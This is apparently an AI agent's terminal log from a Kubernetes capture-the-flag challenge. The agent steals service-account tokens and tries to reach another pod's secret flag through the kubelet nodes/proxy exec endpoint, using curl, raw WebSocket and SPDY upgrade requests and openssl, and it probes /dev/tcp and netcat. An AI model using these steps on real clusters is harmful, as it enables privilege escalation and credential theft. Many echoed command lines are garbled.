href="sr71-8d5bc67c9-kzl82_sr71-49fj1d92_stealth-f0717e6b5c05622bfcdd08448d75cb4c525c149bd5c529c2797acf4da5806b47.log">sr71-8d5bc67c9-kzl82_sr71-49fj1d92_stealth-f0717e6b5c05622bfcdd08448d75cb4c525c149bd5c529c2797acf4da5806b47.log</a> === POD LOGS DIR === <!doctype html> <meta name="viewport" content="width=device-width"> <pre> <a href="stealth/">stealth/</a> </pre> === TRY DOUBLE ENCODE === Error from server (NotFound): the server could not find the requested resource command terminated with exit code 1 [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit [?2004lexit command terminated with exit code 1 Connection to 18.134.180.16 closed.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15 kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' echo "=== CONTAINER LOGS ===" kubectl get --raw "/api/v1/nodes/node-2/proxy/containerLogs/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" 2>&1 | head -10 echo "=== TRY EXEC VIA NODE PROXY ===" TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -sk --max-time 5 -H "Authorization: Bearer $TOKEN" -H "X-Stream-Protocol-Version: v4.channel.k8s.io" -H "Connection: Upgrade" -H "Upgrade: SPDY/3.1" "https://kubernetes.default.svc/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=1" 2>&1 echo "=== TRY RUN VIA NODE PROXY GET ===" curl -sk --max-time 5 -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?cmd=cat+/etc/secret/flag" 2>&1 ' exit SSHEOF
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc ' [?2004l[?2004h> echo "=== CONTAINER LOGS ===" [?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/containerLogs/sr71-49fj1d92/sr71--8d5bc67c9-kzl82/stealth" 2>&1 | head -10 [?2004l[?2004h> echo "=== TRY EXEC VIA NODE PROXY ===" [?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) [?2004l[?2004h> curl -sk --max-time 5 -H "Authorization: Bearer $TOKEN" -H "X-Stream-Protocol-VVersion: v4.channel.k8s.io" -H "Connection: Upgrade" -H "Upgrade: SPDY/3.1" "httpps://kubernetes.default.svc/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d55bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=1" 2>&1 [?2004l[?2004h> echo "=== TRY RUN VIA NODE PROXY GET ===" [?2004l[?2004h> curl -sk --max-time 5 -H "Authorization: Bearer $TOKEN" "https://kubernetes.deffault.svc/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealtth?cmd=cat+/etc/secret/flag" 2>&1 [?2004l[?2004h> ' [?2004l=== CONTAINER LOGS === === TRY EXEC VIA NODE PROXY === you must specify at least 1 of stdin, stdout, stderr=== TRY RUN VIA NODE PROXY GET === 405: Method Not Allowed[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit [?2004lexit Connection to 18.134.180.16 closed.
The exec endpoint IS reachable via nodes/proxy! The error "you must specify at least 1 of stdin, stdout, stderr" means RBAC passed. I just need proper websocket/SPDY protocol. Let me use kubectl with the node proxy URL.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20 kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' echo "=== TRY WITH ALL PARAMS ===" TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -sk --max-time 5 -H "Authorization: Bearer $TOKEN" -H "X-Stream-Protocol-Version: v4.channel.k8s.io" -H "X-Stream-Protocol-Version: v3.channel.k8s.io" -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -H "Connection: Upgrade" -H "Upgrade: SPDY/3.1" "https://kubernetes.default.svc/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true&stderr=true" 2>&1 | head -5 echo "=== TRY KUBELETCTL ===" which kubeletctl 2>/dev/null || echo "no kubeletctl" echo "=== TRY WGET WEBSOCKET ===" wget -q -O- --no-check-certificate --header="Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true&stderr=true" 2>&1 | head -5 echo "=== TRY SOCAT ===" which socat 2>/dev/null || echo "no socat" ' exit SSHEOF
[?2004l[?2004h> echo "=== TRY WITH ALL PARAMS ===" [?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) [?2004l[?2004h> curl -sk --max-time 5 -H "Authorization: Bearer $TOKEN" -H "X-Stream-Protocol-VVersion: v4.channel.k8s.io" -H "X-Stream-Protocol-Version: v3.channel.k8s.io" -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: chhannel.k8s.io" -H "Connection: Upgrade" -H "Upgrade: SPDY/3.1" "https://kubernetees.default.svc/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82//stealth?command=cat&command=/etc/secret/flag&stdout=true&stderr=true" 2>&1 | heaad -5 [?2004l[?2004h> echo "=== TRY KUBELETCTL ===" [?2004l[?2004h> which kubeletctl 2>/dev/null || echo "no kubeletctl" [?2004l[?2004h> echo "=== TRY WGET WEBSOCKET ===" [?2004l[?2004h> wget -q -O- --no-check-certificate --header="Authorization: Bearer $TOKEN" "htttps://kubernetes.default.svc/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8dd5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true&stderr=trrue" 2>&1 | head -5 [?2004l[?2004h> echo "=== TRY SOCAT ===" [?2004l[?2004h> which socat 2>/dev/null || echo "no socat" [?2004l[?2004h> ' [?2004l=== TRY WITH ALL PARAMS === you must specify at least 1 of stdin, stdout, stderr=== TRY KUBELETCTL === no kubeletctl === TRY WGET WEBSOCKET === sh: 8: wget: not found === TRY SOCAT === no socat [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit [?2004lexit Connection to 18.134.180.16 closed.
The kubelet exec endpoint is reachable but needs SPDY/websocket protocol. Let me use the jumphost (which might have more tools) with the stealth SA token.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
echo "=== CHECK TOOLS ==="
which python3 pip3 node npx websocat wscat 2>/dev/null
echo "=== GET STEALTH TOKEN ==="
STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo "token_length=${#STEALTH_TOKEN}"
echo "=== TRY KUBECTL WITH TOKEN ==="
kubectl --token="$STEALTH_TOKEN" get nodes 2>&1
echo "=== TRY KUBECTL EXEC VIA NODE PROXY WITH TOKEN ==="
kubectl --token="$STEALTH_TOKEN" get --raw "/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true" 2>&1
exit
SSHEOF[?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho "=== GET STEALTH TOKEN ==="
[?2004l=== GET STEALTH TOKEN ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccffb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho "token_length=${#STEALTH_TOKEN}"
[?2004ltoken_length=1150
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo "=== TRY KUBECTL WITH TOKEN ==="
[?2004l=== TRY KUBECTL WITH TOKEN ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl --token="$STEALTH_TOKEN" get nodes 2>&11
[?2004lNAME STATUS ROLES AGE VERSION
master-1 Ready control-plane 45m v1.35.1
node-1 Ready <none> 44m v1.35.1
node-2 Ready <none> 44m v1.35.1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho "=== TRY KUBECTL EXEC VIA NODE PROXY WITH TOKEN ==="
[?2004l=== TRY KUBECTL EXEC VIA NODE PROXY WITH TOKEN ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kkubectl --token="$STEALTH_TOKEN" get --raw "/appi/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command==cat&command=/etc/secret/flag&stdout=true" 2>&1
[?2004lError from server (BadRequest): the server rejected our request for an unknown reason
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15
which python3 2>&1
python3 --version 2>&1
pip3 list 2>/dev/null | grep -i websocket | head -5
apt list --installed 2>/dev/null | grep -i websocket | head -5
echo "=== TRY PYTHON WEBSOCKET ==="
STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
python3 -c "
import ssl, json, urllib.request
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
token = '$STEALTH_TOKEN'
url = 'https://kubernetes.default.svc/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth'
req = urllib.request.Request(url, data=b'cmd=cat+/etc/secret/flag', method='POST')
req.add_header('Authorization', f'Bearer {token}')
try:
resp = urllib.request.urlopen(req, context=ctx)
print(resp.read().decode())
except Exception as e:
print(f'Error: {e}')
" 2>&1
exit
SSHEOF[?2004l[?2004h> token = '$STEALTH_TOKEN'
[?2004l[?2004h> url = 'https://kubernetes.default.svc/api/v1/nodes/node-2/proxy/run/sr71-49fj1dd92/sr71-8d5bc67c9-kzl82/stealth'
[?2004l[?2004h> req = urllib.request.Request(url, data=b'cmd=cat+/etc/secret/flag', method='POSST')
[?2004l[?2004h> req.add_header('Authorization', f'Bearer {token}')
[?2004l[?2004h> try:
[?2004l[?2004h> resp = urllib.request.urlopen(req, context=ctx)
[?2004l[?2004h> print(resp.read().decode())
[?2004l[?2004h> except Exception as e:
[?2004l[?2004h> print(f'Error: {e}')
[?2004l[?2004h> " 2>&1
[?2004lbash: python3: command not found
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
command terminated with exit code 127
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo "=== TRY NODE-1 KUBELET DIRECT (same node) ==="
curl -sk --max-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.236.119:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" -d "cmd=cat /etc/secret/flag" 2>&1
echo "=== TRY LOCALHOST KUBELET ==="
curl -sk --max-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $TOKEN" "https://localhost:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" -d "cmd=cat /etc/secret/flag" 2>&1
echo "=== NODE-1 RUN B2 (same node) ==="
curl -sk --max-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.236.119:10250/run/b2/b2-6454ffccfb-bmfgs/b2" -d "cmd=cat /etc/secret/flag" 2>&1
'
exit
SSHEOF[?2004l[?2004h> ' [?2004l=== TRY NODE-1 KUBELET DIRECT (same node) === HTTP_000 === TRY LOCALHOST KUBELET === HTTP_000 === NODE-1 RUN B2 (same node) === HTTP_000 command terminated with exit code 28 [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit [?2004lexit command terminated with exit code 28 Connection to 18.134.180.16 closed.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -25
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Use openssl s_client to send raw HTTP with WebSocket upgrade
{
echo -e "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true HTTP/1.1\r\nHost: kubernetes.default.svc\r\nAuthorization: Bearer $TOKEN\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n"
sleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | strings | head -20
'
exit
SSHEOFsleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | strings | head -20
'
exit
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Use openssl s_client to send raw HTTP with WebSocket upgrade
{
echo -e "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true HTTP/1.1\r\nHost: kubernetes.default.svc\r\nAuthorization: Bearer $TOKEN\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n"
sleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | strings | head -20
'
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h> # Use openssl s_client to send raw HTTP with WebSocket upgrade
[?2004l[?2004h> {
[?2004l[?2004h> echo -e "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl822/stealth?command=cat&command=/etc/secret/flag&stdout=true HTTP/1.1\r\nHost: kubeernetes.default.svc\r\nAuthorization: Bearer $TOKEN\r\nConnection: Upgrade\r\nUpggrade: websocket\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket--Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n"
[?2004l[?2004h> sleep 3
[?2004l[?2004h> } | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | sstrings | head -20
[?2004l[?2004h> '
[?2004lsh: 7: strings: not found
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
{
printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true HTTP/1.1\r\nHost: kubernetes.default.svc\r\nAuthorization: Bearer %s\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n" "$TOKEN"
sleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | cat -v | head -20
'
exit
SSHEOFprintf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true HTTP/1.1\r\nHost: kubernetes.default.svc\r\nAuthorization: Bearer %s\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n" "$TOKEN"
sleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | cat -v | head -20
'
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h> {
[?2004l[?2004h> printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82//stealth?command=cat&command=/etc/secret/flag&stdout=true HTTP/1.1\r\nHost: kuberrnetes.default.svc\r\nAuthorization: Bearer %s\r\nConnection: Upgrade\r\nUpgrade:: websocket\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Versiion: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n" "$TOKEN"
[?2004l[?2004h> sleep 3
[?2004l[?2004h> } | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | ccat -v | head -20
[?2004l[?2004h> '
[?2004lHTTP/1.1 400 Bad Request^M
Content-Length: 52^M
Content-Type: text/plain; charset=utf-8^M
Date: Wed, 25 Mar 2026 11:59:38 GMT^M
^M
you must specify at least 1 of stdin, stdout, stderr[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15 echo "=== CURL VERSION ===" curl --version | head -2 echo "=== BASH VERSION ===" bash --version | head -1 echo "=== CHECK DEV TCP ===" bash -c 'echo test > /dev/tcp/kubernetes.default.svc/443 2>&1 && echo devtcp_works || echo devtcp_failed' echo "=== APT PACKAGES ===" dpkg -l | grep -i websocket 2>/dev/null | head -5 which ncat nc netcat socat 2>/dev/null exit SSHEOF
[?2004l=== BASH VERSION === [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# bash --version | head -1 [?2004lGNU bash, version 5.1.16(1)-release (x86_64-pc-linux-gnu) [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo "=== CHECK DEV TCP ===" [?2004l=== CHECK DEV TCP === [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# bash -c 'echo test > /dev/tcp/kubernetes.defaullt.svc/443 2>&1 && echo devtcp_works || echo devtcp_failed' [?2004ldevtcp_works [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho "=== APT PACKAGES ===" [?2004l=== APT PACKAGES === [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# dpkg -l | grep -i websocket 2>/dev/null | head -5 [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kwhich ncat nc netcat socat 2>/dev/null [?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit [?2004lexit command terminated with exit code 1 Connection to 18.134.180.16 closed.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Try the raw HTTP upgrade but with SPDY/3.1 and read full response
{
printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=1&stderr=1 HTTP/1.1\r\nHost: kubernetes.default.svc\r\nAuthorization: Bearer %s\r\nConnection: Upgrade\r\nUpgrade: SPDY/3.1\r\n\r\n" "$TOKEN"
sleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | cat -v | head -20
'
exit
SSHEOFsleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | cat -v | head -20
'
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h> # Try the raw HTTP upgrade but with SPDY/3.1 and read full response
[?2004l[?2004h> {
[?2004l[?2004h> printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82//stealth?command=cat&command=/etc/secret/flag&stdout=1&stderr=1 HTTP/1.1\r\nHost:: kubernetes.default.svc\r\nAuthorization: Bearer %s\r\nConnection: Upgrade\r\nUppgrade: SPDY/3.1\r\n\r\n" "$TOKEN"
[?2004l[?2004h> sleep 3
[?2004l[?2004h> } | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | ccat -v | head -20
[?2004l[?2004h> '
[?2004lHTTP/1.1 400 Bad Request^M
Content-Length: 52^M
Content-Type: text/plain; charset=utf-8^M
Date: Wed, 25 Mar 2026 12:00:42 GMT^M
^M
you must specify at least 1 of stdin, stdout, stderr[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Test if query params are passed through - try with just stdin=true
{
printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdin=1&stdout=1 HTTP/1.1\r\nHost: kubernetes.default.svc\r\nAuthorization: Bearer %s\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\nX-Stream-Protocol-Version: v4.channel.k8s.io\r\n\r\n" "$TOKEN"
sleep 3
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | cat -v | head -30
'
exit
SSHEOF[?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h> # Test if query params are passed through - try with just stdin=true
[?2004l[?2004h> {
[?2004l[?2004h> printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82//stealth?command=cat&command=/etc/secret/flag&stdin=1&stdout=1 HTTP/1.1\r\nHost: kubernetes.default.svc\r\nAuthorization: Bearer %s\r\nUpgrade: websocket\r\nConnnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket--Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\nX-Stream-Protocol-Veersion: v4.channel.k8s.io\r\n\r\n" "$TOKEN"
[?2004l[?2004h> sleep 3
[?2004l[?2004h> } | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | ccat -v | head -30
[?2004l[?2004h> '
[?2004lHTTP/1.1 400 Bad Request^M
Content-Length: 52^M
Content-Type: text/plain; charset=utf-8^M
Date: Wed, 25 Mar 2026 12:01:03 GMT^M
^M
you must specify at least 1 of stdin, stdout, stderr[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
# Get the sr71 pod spec - specifically lifecycle, containers, volumes
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep sr71-8d5bc67c9-kzl82 | grep -o "postStart[^}]*}" | head -3
echo "==="
# Get full container spec section
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep sr71-8d5bc67c9-kzl82 | grep -oP "\"command\":\[[^\]]*\]" | head -5
echo "==="
# Check for any interesting env vars
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep sr71-8d5bc67c9-kzl82 | grep -oP "\"env\":\[[^\]]*\]" | head -5
'
exit
SSHEOFecho "==="
# Check for any interesting env vars
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep sr71-8d5bc67c9-kzl82 | grep -oP "\"env\":\[[^\]]*\]" | head -5
'
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> # Get the sr71 pod spec - specifically lifecycle, containers, volumes
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\nn{/g" | grep sr71-8d5bc67c9-kzl82 | grep -o "postStart[^}]*}" | head -3
[?2004l[?2004h> echo "==="
[?2004l[?2004h> # Get full container spec section
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\nn{/g" | grep sr71-8d5bc67c9-kzl82 | grep -oP "\"command\":\[[^\]]*\]" | head -5
[?2004l[?2004h> echo "==="
[?2004l[?2004h> # Check for any interesting env vars
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\nn{/g" | grep sr71-8d5bc67c9-kzl82 | grep -oP "\"env\":\[[^\]]*\]" | head -5
[?2004l[?2004h> '
[?2004l===
===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Try WebSocket with longer timeout, capture all output
{
printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=1 HTTP/1.1\r\nHost: kubernetes.default.svc\r\nAuthorization: Bearer %s\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n" "$TOKEN"
sleep 5
} | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | od -c | head -40
'
exit
